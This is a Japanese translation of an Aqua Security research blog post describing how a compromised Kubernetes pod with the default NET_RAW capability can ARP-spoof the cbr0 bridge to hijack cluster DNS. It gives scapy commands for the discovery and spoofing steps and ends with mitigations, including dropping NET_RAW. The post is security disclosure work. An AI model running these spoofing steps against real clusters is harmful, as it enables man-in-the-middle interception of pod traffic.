fbpx

KubernetesクラスタでのDNSスプーフィング #AquaSecurity #DevSecOps #Container #Security #Kubernetes

この記事は1年以上前に投稿されました。情報が古い可能性がありますので、ご注意ください。

本ブログは「Aqua Security」社の技術ブログで2019年8月29日に公開された「DNS Spoofing on Kubernetes Clusters」の日本語翻訳です。

KubernetesクラスタでのDNSスプーフィング

この投稿では、クラスタで悪意のあるコードを実行する管理者が、特別な許可なしに、クラスタで実行されているすべてのアプリケーションへのDNS応答を偽装し、そこからpod間のすべてのネットワークトラフィックに対して中間者攻撃(MITM)を実行する方法について説明します。

攻撃シナリオに入る前に、Kubernetesのノード内ネットワークがどのように機能するかを理解しましょう。
一連のブログでKubernetesネットワーキングについて議論できますが、すべてを網羅しているわけではありません。したがって、以下ではデフォルトの構成を元に説明していきます。

Kubernetesネットワークを簡潔に言うと

一般的に、ノード内のpod間ネットワーキングは、すべてのpodを接続するブリッジを介して利用できます。このブリッジは「cbr0」と呼ばれます。(1)(一部のネットワークプラグインは独自のブリッジをインストールし、別の名前を付与しますが、このブログでは「cbr0」と称します。)cbr0は、ARP(Address Resolution Protocol)解決も処理できます。着信パケットがcbr0に到着すると、ARPを使用して宛先MACアドレスを解決できます。

これが同じノードでpodが互いに通信する方法です。 Dockerの仕組みでもあり、Kubernetesのデフォルトです。

DNSを追加する方法

図でわかるように、CoreDNS(2)という名前のpodがアプリケーションpod(3)と同じノード上で実行されており、これがクラスタのDNSサーバとして機能します。(実際には、複数のクラスタDNSサーバpodが存在する場合があります。)

これは、クラスタ上のすべてのDNS要求がCoreDNS podに到着することを意味します。podはまず、クラスタについて知っていることからリクエストを試行して、名前を解決しようとします。ドメインが、serviceやpodsなどと一致する場合、対応するローカルIPを返します。そうでない場合は、CoreDNS podは「上流のリゾルバ」に問い合わせします。

Taken from: kubelet/network/dns/dns.go::GetPodDNS()
  // For a pod with DNSClusterFirst policy, the cluster DNS server is
  // the only nameserver configured for the pod. The cluster DNS server
  // itself will forward queries to other nameservers that is configured
  // to use, in case the cluster DNS server cannot resolve the DNS query
  // itself.

これが、Kubernetesがローカルドメイン名を処理する方法です。
ClusterDNSFirstポリシーはpodのデフォルトであり、別のポリシーを使用することはあまりありません。
注意:アプリケーションpodは、CoreDNS/kube-dnspodと同じノードでスケジュールできます。

しかし、podはクラスタDNSサーバのIPをどのようにして知るのでしょうか?

クラスタに「pod」を作成しましょう。
「nsswitch.conf」の「hosts」の値を調べることで、DNSを解決するときに予想される動作を把握します。


root@pod:/# cat /etc/nsswitch.conf | grep hosts
hosts: files dns

podは、最初にローカルのhostsファイルを読み取ってアドレスを解決しようとし、その後、設定されたDNSネームサーバから解決することを試みます。

/etc/resolv.confを見て、このネームサーバを見つけましょう。


root@pod:/# cat /etc/resolv.conf
nameserver 10.96.0.10
search default.svc.cluster.local svc.cluster.local cluster.local project.internal
options ndots:5

クラスタDNSサーバのIPは10.96.0.10であることがわかります。

pod内のクラスタDNSサーバとして割り当てられるもの(ネームサーバ)は、実際にはkube-dnsサービスのサービスIPです。 KubernetesはVIP(仮想IP)と呼ばれるものを使用します。これにより、iptablesルールはサービスへの発信トラフィックにDNAT(Destination Network Address Translation)を適用し、その結果、宛先のVIPに対応するCoreDNS pod IPに変換されます。これらのiptablesルールの設定は、実際には各ノードにデプロイされるkube-proxy podの仕事です。

クラスタDNSサーバの乗っ取り

以前の投稿で紹介した方法によりWebアプリケーションpodが悪意のあるコードに感染したと想像してみましょう。

攻撃者がクラウドメタデータAPIにアクセスできず、クラスタが安全なRBACルールで構成されており、podが「/var/log」内のディレクトリにマウントされていない場合、攻撃者はpodを「回避」してクラスタ全体へ攻撃を実行することはできず、podに対するローカル攻撃に限定されたままです。ですよね?

それともそれ以上の範囲に対する攻撃が可能となるのでしょうか?

ネットワーク攻撃

デフォルト設定で実行されているpodに付与されている機能を見ると、気になるものがあることに気付きます。


root@pod:/# pscap -a
ppid pid name command capabilities
0 1 root bash chown, dac_override, fowner, fsetid, kill, setgid, setuid, setpcap, net_bind_service, net_raw, sys_chroot, mknod, audit_write, setfcap

NET_RAW機能があるようです。
(以下はLinux機能のメインページより抜粋)

NET_RAWはKubernetesのデフォルトの許容設定です。コンテナ間のICMPトラフィックを許可するためにあります。しかし、ICMPトラフィックに加えて、この機能はアプリケーションにRAWソケット(ARPやDNSなど)を生成する機能を付与するため、攻撃者はネットワーク関連の攻撃を自由に行うことができます。

ARPスプーフィング

最も一般的な攻撃は、ARP(Address Resolution Protocol)スプーフィングです。このタイプの攻撃は、IPアドレスをMAC(物理)アドレスと相関させるメカニズムを悪用して、身分を偽って「こんにちは、このIPアドレスを所有しています。すべてのパケットを転送してください」と言います。

cbr0(1)(最初の図を参照)は、ARPを使用してpodのIPアドレスと対応するネットワークインターフェースを関連付け、さらにDNS要求の宛先VIPはpodのサブネット外にあることを思い出してください。そのため、パケットはDNAT処理中にpodのデフォルトゲートウェイ(cbr0)に送信されます。これにより、cbr0がDNS要求のMACアドレスの解決を担当します。

cbr0ブリッジのARPスプーフィング

すべてのDNS要求はCoreDNS podの背後のcbr0に到着し(DNATを取得した後)、そこでDNSサーバpodにリダイレクトされます。

cbr0はDNS podをクラスタのネットワークに接続するブリッジであるため、外部ノードのpodからのDNS要求もこのcbr0に到着することに注意してください。

そのため、攻撃者がDNS podの隣で実行されているアプリケーションに侵入した場合、cbr0をARPスプーフィングし、それをだましてアプリケーションが動いているpod(侵入したpod)がクラスタDNSサーバであると考えさせ、クラスタ内のすべてのDNS解決を完全に制御することができます。

悪用の手法

この検証は、scapyで書かれています。(scapyはpython用のパケット作成フレームワークです。)
環境を設定するには、攻撃者用podと被害者用podの2つのpodをデプロイします。

podの作成方法は次のとおりです。


➜ ~ kubectl create -f ./pods/
pod/hacker created
pod/victim created

そして、攻撃者用podでscapyのインタプリタを実行します。


➜ ~ kubectl exec -it hacker scapy

まず、実際のkube-dns podのIPを取得する必要があります。 VIPをバイパスして、podの実際のIPを見つけます。

以下を実行することでこれを実行することができます。;

>>> dns_pod_mac = srp1(Ether() / IP(dst=kubedns_vip) / UDP(dport=53) / DNS(rd=1,qd=DNSQR())).src

通常のDNS解決シナリオをシミュレートして、DNS要求をサービスIPに送信した後、応答するソースMACアドレスを取得します。理論的には、応答のソースIPを取得するだけでした。ただし、Kubernetesは、ポッドからの発信トラフィックでSNAT(Source Network Address Translation)を使用することにより、実際のIPが検出されないようにします。リゾルバクライアント(例.nslookup)は、連絡先とは異なるソースからの回答を受け入れないため、これは理にかなっています。

これで、サブネット内の全員にMACアドレスを照会し、以前受信したソースMACアドレスと比較できます。または、これにRARP(Reverse Address Resolution Protocol)を使用できます。ただし、ほとんどの環境では通常のARPクエリを使用する方が合理的です。


>>> ans, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="{}/24".format(my_ip)), timeout=4)
>>> dns_pod_ip = [a[1][ARP].psrc for a in ans if a[1].src == dns_pod_mac][0]

次にcbr0ブリッジのMACアドレスとIPが必要となります。trace-routing(外部IPにpingを送信し、IP ttlを1に設定)することにより、scapyでそれを取得できます。


>>> res = srp1(Ether() / IP(dst="8.8.8.8" , ttl=1) / ICMP())
>>> cbr0_mac, cbr0_ip = res[Ether].src, res[IP].src

次に、偽のARP応答をブリッジ(cbr0)に送信し、DNS podのIPを所有していることを伝えます。


>>> while True:
>>> send(ARP(op=2, pdst=cbr0_ip, psrc=dns_pod_ip, hwdst=cbr0_mac))

注:hwdstをブリッジのMACに設定することにより、ブリッジのなりすましのみを行うようにします。これは非常に重要な措置です。できるだけ自分自身に注意を向けないようにするためです。

たとえばDNS解決プロセスに対してDoS(Denial of Service)攻撃が予想されるため、クラスタ上の別のpodからのnslookupは機能しません。

攻撃用のpodが実行されたので、被害者用のpodを実行してみましょう。


➜ ~ kubectl exec -it victim zsh

その後、ドメインの解決を試みます。


kubectl exec -it victim zsh
➜ victim / nslookup example.com
;; reply from unexpected source: 10.67.16.3#53, expected 10.67.0.10#53
;; reply from unexpected source: 10.67.16.3#53, expected 10.67.0.10#53
;; reply from unexpected source: 10.67.16.3#53, expected 10.67.0.10#53
;; connection timed out; no servers could be reached

nslookupから得られるエラーについてこのブログでは詳しく説明しませんが、本質的に、これはip_forwardingがコンテナ内でもデフォルトで有効になっているという事実に関係しています(これはホストから派生するものです)。ここで行う必要があるのは、悪意のあるpod内でDNSプロキシサーバを実行し、特定のドメインを除き、すべてのトラフィックを実際のCoreDNS podに転送することです。 DNSの仕組みのおかげで、リゾルバクライアントは、最初に別の不審な回答を受け取った場合でも回答を受け入れます。

悪用の検証

この悪用を検証するための完全な環境を準備しました。次のことを実行していきます。

  • 必要なすべてのIP/MACアドレスを自動的に検出
  • 攻撃を実行できるかどうかを決定
  • cbr0ブリッジでARPスプーフィングを実行
  • 実際のkube-DNS podに接続するDNSプロキシを提供し、すべての要求をそこに転送
  • カスタム作成したホストファイルを読み取り、一致する場合にスプーフィングされたDNS応答で応答

次の映像は、攻撃者がドメイン名を偽装してWebサーバになりすまし、悪意のあるデータを送信する方法を示しています。

この悪用の検証で使用しているすべてのファイルは、このGithubリポジトリにあります。

以下に注意してください;

  • CoreDNSが複数のDNS podを起動する場合、1つだけをスプーフィングすると、結果は不安定になります。
  • この脆弱性は、DNS podと同じノードで実行する場合にのみ機能しますが、これを克服するために同様の操作を実行できます。

どのようにして防ぐか

Kubernetes用のオープンソース侵入テストツールであるkube-hunterを更新しました。これにより、この悪用に対して脆弱かどうかがわかります。脆弱かどうかを調べるには、–activeフラグを使用してKube-hunterをpodとして実行します。 「Possible ARP Spoof」または「Possible DNS Spoof」の結果が得られた場合は、推奨される緩和手順を実行する必要があります。

通常、同じノードでpodのL3ネットワークをルーティングするL3ネットワークプラグインを使用すると、この悪用を防ぐことができます。

また、Kubernetesプロジェクトのセキュリティチームでこの問題を提起したところ、彼らは次のように述べました。「Kubernetes及びDockerコンテナのデフォルトがCAP_NET_RAWを許可するのは残念ですが、下位互換性を維持するために、このデフォルトを短期的に変更できるとは考えていません。ユーザは、コンテナSecurityContextまたはPodセキュリティポリシーを使用して、アプリケーションに不要な機能を無効化する必要があります。」

さらに、「一部のCNIプラグインは、送信元MACまたは送信元IPアドレスが一致しないpodからのトラフィックを拒否するため、ARPスプーフィングを防止します。たとえば、OpenShift SDN CNIプラグイン及び将来のovn-kubernetesプラグイン(開発中)は、インターフェイスに設定されたソースアドレスからではないトラフィックをドロップするOVSブリッジを介してトラフィックを送信します。これらのプラグインでは、podがhostNetwork:trueを使用していない限り、podはARPスプーフィングを実行できません。」と述べました。

緩和策

このようなネットワーク攻撃を回避するための推奨される手順は、アプリケーションにNEW_RAW機能をドロップする「securityContext」を追加することです。

例えば:

apiVersion: v1 kind: Pod metadata:
  name: security-context-demo
spec:
  containers:
  - name: test
  image: alpine
 securityContext:
     capabilities:
       drop:
         - NET_RAW

これは、ネットワークの詳細な検査/操作を行うアプリケーションにのみ必要なため、ほとんどのアプリケーションには影響しません。この機能を削除すると、アプリケーションコードが危険にさらされた場合でも、攻撃者がクラスタでそのようなネットワークベースの攻撃を実行できなくなります。

New call-to-action
新規CTA